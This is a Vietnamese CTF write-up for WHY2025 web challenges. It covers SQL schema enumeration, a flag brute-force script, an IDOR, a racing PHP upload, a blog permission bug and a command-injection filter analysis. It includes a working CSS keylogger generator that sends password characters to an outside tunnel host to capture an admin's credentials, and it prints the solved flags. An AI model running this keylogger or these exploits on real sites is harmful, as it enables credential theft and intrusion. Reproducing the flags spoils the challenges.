## WHY2025 CTF TIMES (50) Ta thấy trang chủ có chức năng tĩnh k gửi yêu cầu tới server Ta tìm được file paywall.min.js ![image](https://hackmd.io/_uploads/Hk6gasQOxg.png) ![image](https://hackmd.io/_uploads/HJaHTiQdxe.png) Tìm được 1 nửa cờ trong file ![image](https://hackmd.io/_uploads/Bkzwaj7_ee.png) ![image](https://hackmd.io/_uploads/ByPy1h7_el.png) Sử dụng công cụ trong trang web`https://obf-io.deobfuscate.io/` để giải xáo trộn của file paywall.min.js Và tìm được flag ![image](https://hackmd.io/_uploads/B1s_pNE_gx.png) ## Planets (50) ![image](https://hackmd.io/_uploads/rJln-grdgg.png) Trang web tĩnh ![image](https://hackmd.io/_uploads/Hkk1GlSOxg.png) Đọc mã nguồn thấy có đoạn script gửi yêu cầu truy vấn cơ sở dữ liệu qua đường dẫn /api.php và phản hồi trả về dưới dạng json ![image](https://hackmd.io/_uploads/Sks9hGNuex.png) ![image](https://hackmd.io/_uploads/r12_m2Xuee.png) Ta truy vấn các bảng CSDL của người dùng ``` query=SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys'); ``` ![image](https://hackmd.io/_uploads/SJNprX4uel.png) Tìm thấy 1 bảng abandoned_plannets của lược đồ planets Truy vấn vào bảng qua câu truy vấn sau ``` query=SELECT * FROM planets.abandoned_planets; ``` thành công thu được flag ![image](https://hackmd.io/_uploads/H1D-H7N_lg.png) ## Buster (50) ![image](https://hackmd.io/_uploads/ByxxWgrOgg.png) Truy cập trang web ta nhận được gợi ý sử dụng công cụ để quét các file thư mục ẩn ![image](https://hackmd.io/_uploads/ryrG_7E_xg.png) ![image](https://hackmd.io/_uploads/BkMooX4del.png) Dựa vào các file ẩn thu được ý tưởng : nếu giá trị là flag hay thành phần flag chưa hoàn thiện trên đường dẫn thì server sẽ trả về phản hồi 200 index.html Còn không phải giá trị thì trả về Wrong away ! Thử với định dạng `flag{` ![image](https://hackmd.io/_uploads/r1Fg3QNugx.png) Thử với `flag1` ![image](https://hackmd.io/_uploads/HyFMnQNdxl.png) Viết script thôi ``` ┌──(root㉿lyquockhanh)-[~/Web] └─# cat bruteforce.py import requests import string base_url = "https://buster.ctf.zone/" charset = string.ascii_letters + string.digits + "}_-!@#$%^&*.," prefix = "flag{" while True: found = False for c in charset: attempt = prefix + c full_url = base_url + attempt response = requests.get(full_url) if "Buster" in response.text: print(f"[+] Found next char: {c}") prefix += c print(f"Current flag: {prefix}") # In ra flag hiện tại found = True if c == "}": print(f"[+] FLAG FOUND: {prefix}") exit() break if not found: print("[-] No valid character found. Exiting.") break ``` ![image](https://hackmd.io/_uploads/r1FcLN4Oex.png) ## SHOE SHOP 1.0 (50) ![image](https://hackmd.io/_uploads/SJp9lgH_ll.png) Truy cập trang web đăng ký đăng nhập ![image](https://hackmd.io/_uploads/r1cregr_xe.png) Vào giỏi hàng của người dùng hiện tại ![image](https://hackmd.io/_uploads/rkcIxgrueg.png) Dựa vào gợi ý của bài ta xem được giỏi hàng của admin tại đường dẫn `/index.php?page=cart&id=1` ![image](https://hackmd.io/_uploads/SJmNgeBueg.png) ## Fancy Login Form (200) Truy cập trang web ta thấy 1 form login và trang web 2 chức năng Chức năng đầu tiên là Random Theme thay đổi giao diện của trang web thông qua tham số `theme` Chức năng thứ 2 là gửi 1 url cho admin để nó truy cập tới ![image](https://hackmd.io/_uploads/S1X47grOge.png) ![image](https://hackmd.io/_uploads/SyPbaFEuxg.png) Nhận thấy giá trị truyền vào tham số theme sẽ được truyền vào `href` của thẻ link . Khi trang web được tải thì file css cx được tải ![image](https://hackmd.io/_uploads/S1XQ6tVOex.png) ![image](https://hackmd.io/_uploads/SkFHptE_ee.png) Thử gửi kết nối 1 file css bên ngoài vào và thành công ![image](https://hackmd.io/_uploads/B1BTaFVOle.png) ![image](https://hackmd.io/_uploads/SkOC6t4_le.png) Thử tải 1 file normal.css thì giao diện đã thay đổi theo file đấy ![image](https://hackmd.io/_uploads/BJdB0Y4dxg.png) Đọc mã nguồn ta cũng có thêm đoạn script này ``` <script> const inp = document.getElementById("password"); inp.addEventListener("keyup", (e) => { inp.setAttribute('value', inp.value) }); document.getElementById("close-button").addEventListener("click", (e) => { document.getElementById("report-box").style.display = "none"; document.getElementById("report-button").style.display = "block"; }); document.getElementById("report-button").addEventListener("click", (e) => { document.getElementById("report-box").style.display = "block"; document.getElementById("report-button").style.display = "none"; }); document.getElementById("report").addEventListener("click", (e) => { var url = window.location.href; var xhr = new XMLHttpRequest(); xhr.open("POST", "/report.php", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.send('url=' + url); document.getElementById("report-box").style.display = "none"; document.getElementById("report-button").style.display = "block"; document.getElementById("report").disabled = "true"; document.getElementById("report-text").textContent = "Report sent! An admin will visit the URL shortly!"; }); </script> ``` Lấy phần tử input có id="password" lắng nghe khi người dùng nhấn phím rồi thả ra trong ô nhập giá trị hiện tại người dùng đang rõ sẽ cập nhập lại thuộc tính `value` trong thẻ HTML Và trong chức năng report cx có đoạn tiêu đề : Admin sẽ truy cập đường dẫn để đăng nhập Ý tưởng là chèn file css độc hại và file css này lấy được nội dung trên trường password trả về webserver . Ta có file script tạo keylogger css viết bằng golang `https://github.com/maxchehab/CSS-Keylogging` Chuyển về python File script tạo ra file css keylogger ``` ┌──(root㉿lyquockhanh)-[~/Web] └─# cat keylogger.py import urllib.parse import os SERVER_URL = "https://apperciate-wu-genes-marijuana.trycloudflare.com" print("Building keylogger.css") output_path = "./" os.makedirs(output_path, exist_ok=True) output_file = os.path.join(output_path, "keylogger.css") try: with open(output_file, "w", encoding="utf-8") as f: for c in range(32, 128): # ASCII printable value = chr(c) url_value = urllib.parse.quote(value) if value == '"': value = r'\"' elif value == '}': value = r'\\}' elif value == '\\': value = r'\\' f.write( f'input[type="password"][value$="{value}"] ' f'{{ background-image: url("{SERVER_URL}/{url_value}"); }}\n' ) print("Complete.") except Exception as e: print("Cannot create output:", e) ``` Tạo thành công file css keylogger ![image](https://hackmd.io/_uploads/SJjs4VPdgx.png) Thử trên trình duyệt của mình ![image](https://hackmd.io/_uploads/H1IpQEv_gx.png) Thành công lấy được mật khẩu ![image](https://hackmd.io/_uploads/SyK0Q4POgl.png) Sử dụng chức năng report gửi url cho admin đăng nhập từ đó lấy được mật khẩu của admin ![image](https://hackmd.io/_uploads/Sy7m6cEdle.png) ![image](https://hackmd.io/_uploads/r1pVGi4ugl.png) ![image](https://hackmd.io/_uploads/Bkcmsz3Oex.png) Ta tìm được chuỗi mật khẩu ``` F0x13foXtrOT%26Elas7icBe4n5 ``` Và thành công login thu được flag ![image](https://hackmd.io/_uploads/r1gGAIyBOge.png) `flag{6b1f095e79699a79dc4a366c1131313e}` ## Why2025 planner (200) ![image](https://hackmd.io/_uploads/rylcqxBdgg.png) Tải 1 file lên trả về đường dẫn lưu file tạm thời là /uploads/whyctf2025.txt sau đó quét file không hợp lệ thì xóa Khả năng là case racecondtion + uploadfile . Upload liên tục file rồi truy cập vào đường dẫn chứ file . Đảm bảo truy cập file trước khi file bị xóa . ``` <?php phpinfo(); ?> ``` ![image](https://hackmd.io/_uploads/BJfWhOB_xg.png) ![image](https://hackmd.io/_uploads/Hkyai_HOel.png) Ta upload thành công và xem được phpinfo() ![image](https://hackmd.io/_uploads/Hk0io_BOgx.png) Ta tiếp tục upload và chạy được file shell với phpinfo() nhưng k chạy được shell với `system` . Có vẻ backend đọc nội dung file có chặn black list system Ta upload cả 1 shell để đọc phpinfo() và thực hiện câu lệnh bằng system . Thì hoàn toàn không thực thi được cả 2 đoạn payload đó -> AV đang quét và chặn các từ khóa nguy hiểm ![image](https://hackmd.io/_uploads/SyYWlFBdgl.png) ![image](https://hackmd.io/_uploads/Syn7eKB_ex.png) Xem file phpinfo() tìm thấy cờ :) ![image](https://hackmd.io/_uploads/SkHV1KH_ex.png) `flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}` ## Bonito blog (100) ![image](https://hackmd.io/_uploads/ryb3F1DOle.png) Đăng ký đăng nhập vào trang web . Trang web có chức năng tạo blog và ta có thể xem được các bài blog của người dùng khác và chủ sở hữu của bài blog đó ![image](https://hackmd.io/_uploads/HJoPn7vdlx.png) Fuzzing để xem các bài blog có gì bất thường k ta thấy có duy nhất 1 bài blog 1337 bị trả về phnar hòi 403 cấm truy cập . ![image](https://hackmd.io/_uploads/B1hM6mwull.png) Đây là một bài blog của admin và tiêu đề đưa ta đợi ý nếu ta có quyền truy cập bài blog này thì có thể lấy được thông tin về flag . Ta tạo 1 blog của riêng mình thì ta thấy mình có chức năng thêm quyền sở hữu của bài blog mình tạo cho người dùng khác ![image](https://hackmd.io/_uploads/B1ZrC7wOgx.png) ![image](https://hackmd.io/_uploads/BJgY07vdxe.png) Ta phát hiện bug là ta có thể thêm được quyền cho bài blog khác kể cả k phải là chủ sở hữu của bài blog đó -> Ta thêm mình vào quyền sở hữu blog 1337 để có quyền truy cập blog ![image](https://hackmd.io/_uploads/Hy6o0mw_xe.png) Thành công lấy được flag ![image](https://hackmd.io/_uploads/r1pCU1wdgl.png) ## Flyer (200) chức năng của trang web là nhập đoạn text chức năng xong trả về ảnh chứa đoạn text ![image](https://hackmd.io/_uploads/H1jfjQd_le.png) ![image](https://hackmd.io/_uploads/BkbSiX_uee.png) Bài này cho source code sau : ``` from flask import Flask, request, render_template, abort, make_response import subprocess import string import random import os from werkzeug.exceptions import HTTPException app = Flask(__name__) colors = [ "#61f2ff", "#f25e95", "#fffb96", "#b03bbf", "#5234bf", "#f24534" ] command_text_add = r"""convert -size 840x{height} -geometry +0+300 -gravity center -background none -stroke white -strokewidth 1 -fill white -font /var/www/flyer/static/Beon-Regular.ttf -pointsize 36 -interline-spacing 20 -kerning 1.5 label:"{text}" \( +clone -background "{color}" -shadow 100x2+0+0 \) +swap \( +clone -background "{color}" -shadow 100x5+0+0 \) +swap \( +clone -background "{color}" -shadow 100x11+0+0 \) +swap \( +clone -background "{color}" -shadow 100x19+0+0 \) +swap -background none -layers merge /var/www/flyer/assets/flyer.png +swap -gravity center -composite {tmpfile} > /dev/null 2>&1""" charWidth = {',': 9.5, '-': 14.5, '0': 28.5, '1': 15.5, '2': 19.5, '3': 21.5, '4': 20.5, '5': 22.5, '6': 22.5, '7': 18.5, '8': 21.5, '9': 22.5, 'A': 24.5, 'B': 24.5, 'C': 28.5, 'D': 26.5, 'E': 23.5, 'F': 22.5, 'G': 28.5, 'H': 25.5, 'I': 9.5, 'J': 21.5, 'K': 23.5, 'L': 22.5, 'M': 33.5, 'N': 25.5, 'O': 30.5, 'P': 22.5, 'Q': 30.5, 'R': 23.5, 'S': 22.5, 'T': 23.5, 'U': 26.5, 'V': 25.5, 'W': 35.5, 'X': 29.5, 'Y': 26.5, 'Z': 26.5, '_': 17.5, 'a': 21.5, 'b': 23.5, 'c': 22.5, 'd': 23.5, 'e': 23.5, 'f': 18.5, 'g': 23.5, 'h': 24.5, 'i': 8.5, 'j': 8.5, 'k': 20.5, 'l': 8.5, 'm': 39.5, 'n': 24.5, 'o': 23.5, 'p': 23.5, 'q': 23.5, 'r': 20.5, 's': 21.5, 't': 19.5, 'u': 24.5, 'v': 23.5, 'w': 32.5, 'x': 23.5, 'y': 24.5, 'z': 22.5, ' ': 12.5} @app.route('/') def index(): return render_template("base.html") @app.route('/generate', methods=['POST']) def generate(): color = request.form.get("color", None) text = request.form.get("text", None) if not color or not text: abort(400, "Missing arguments") if int(color) not in range(6): abort(400, "Invalid color") if len(text) > 438: abort(400, "Text too large") return create_flyer(text, int(color)) def create_flyer(text, color): global command_text_add global colors color = colors[color] tmpfile = "/tmp/" + random_string(16) + ".png" (height, text) = cutstring(text) cmd = command_text_add.format( height = height, text = text, color = color, tmpfile = tmpfile ) subprocess.run(cmd.encode('utf-8'), shell=True, timeout=10, cwd="/var/www/flyer") if not os.path.isfile(tmpfile): abort(500, "Error creating flyer") with open(tmpfile, "rb") as f: imgdata = f.read() resp = make_response(imgdata) os.remove(tmpfile) resp.headers['Content-Type'] = 'image/png' resp.headers['Content-Disposition'] = 'attachment;filename=flyer.png' return resp def random_string(n): return ''.join(random.choices(string.ascii_uppercase + string.digits, k=n)) def filterString(x): forbidden_chars = '"#$%\'()*+/:;<=>?@[\\]^`{|}~' if x in forbidden_chars: abort(403, f"Found illegal string {x}") def cutstring(s): global charWidth try: s = s.strip() lengthWord = 0 lengthLine = 0 sLine = '' sWord = '' wordLength = 0 countList = 0 sPrint = '' for char in s: filterString(char) if char in charWidth.keys(): lengthWord = lengthWord + (charWidth[char]) lengthLine = lengthLine + (charWidth[char]) else: lengthWord = lengthWord + 25 lengthLine = lengthLine + 25 if lengthLine < 800: if char != ' ': sWord = (str(sWord) + str(char)) else: sLine = (str(sLine) + str(sWord)) lengthWord = 0 sWord = char elif lengthWord > 800: abort(400, f"Word {sWord} too long to fit on a line") else: sPrint = (str(sPrint) + str(((str(sLine) + str('DeL1m3T3r!'))))) lengthLine = 0 for i in sWord: if i in charWidth.keys(): filterString(i) lengthWord = lengthWord + (charWidth[char]) lengthLine = lengthLine + (charWidth[char]) else: lengthWord = lengthWord + 25 lengthLine = lengthLine + 25 sLine = '' sWord = (str(sWord) + str(char)) if char != ' ': sLine = (str(sLine) + str(sWord)) sPrint = (str(sPrint) + str(sLine)) sPrintList = sPrint.split('DeL1m3T3r!') textHeight = len(sPrintList) * 60 if textHeight > 780: abort(400, "Height too long: " + str(textHeight)) text = '\\n'.join(sPrintList) if len(text) > 460: abort(400, "Length too long: " + str(len(text))) return(textHeight,text) except Exception as error: if isinstance(error, HTTPException): abort(error.code, error.description) return(780, s) ``` Ta để ý rằng ở đoạn except ``` except Exception as error: if isinstance(error, HTTPException): abort(error.code, error.description) return(780, s) ``` Trong hàm `cutstring` nếu gặp lỗi nhưng không phải lỗi HTTPException (lỗi liên quan đến abort ) thì sẽ trả về phản hồi 780 và chuỗi `s` chưa qua xử lý của hàm `filterString()` đã được trả về -> Gây lỗi để bỏ qua bộ lọc filterString() Ta tiếp tục phát hiện 1 lỗi logic code ở đoạn sau : ``` for i in sWord: if i in charWidth.keys(): filterString(i) lengthWord = lengthWord + (charWidth[char]) lengthLine = lengthLine + (charWidth[char]) else: lengthWord = lengthWord + 25 lengthLine = lengthLine + 25 ``` Ở đây đang duyệt qua sWord với biến i mà khi cộng vào lại dùng `charWidth[char]` mà không phải dùng `charWidth[i]` . Nếu char không tồn tại trong mảng charWidth thì sẽ gây lỗi :) Đoạn code này sẽ được duyệt tới khi ta có lengthWord <= 800 and lengthLine >= 800 ![image](https://hackmd.io/_uploads/SJ0eaEdugg.png) ![image](https://hackmd.io/_uploads/rkjM6Nudxx.png) ![image](https://hackmd.io/_uploads/S1oEaVudgx.png) ![image](https://hackmd.io/_uploads/rJHhpNd_gl.png) ![image](https://hackmd.io/_uploads/BJJ0pEO_xe.png) ![image](https://hackmd.io/_uploads/S1pAaVOOgg.png)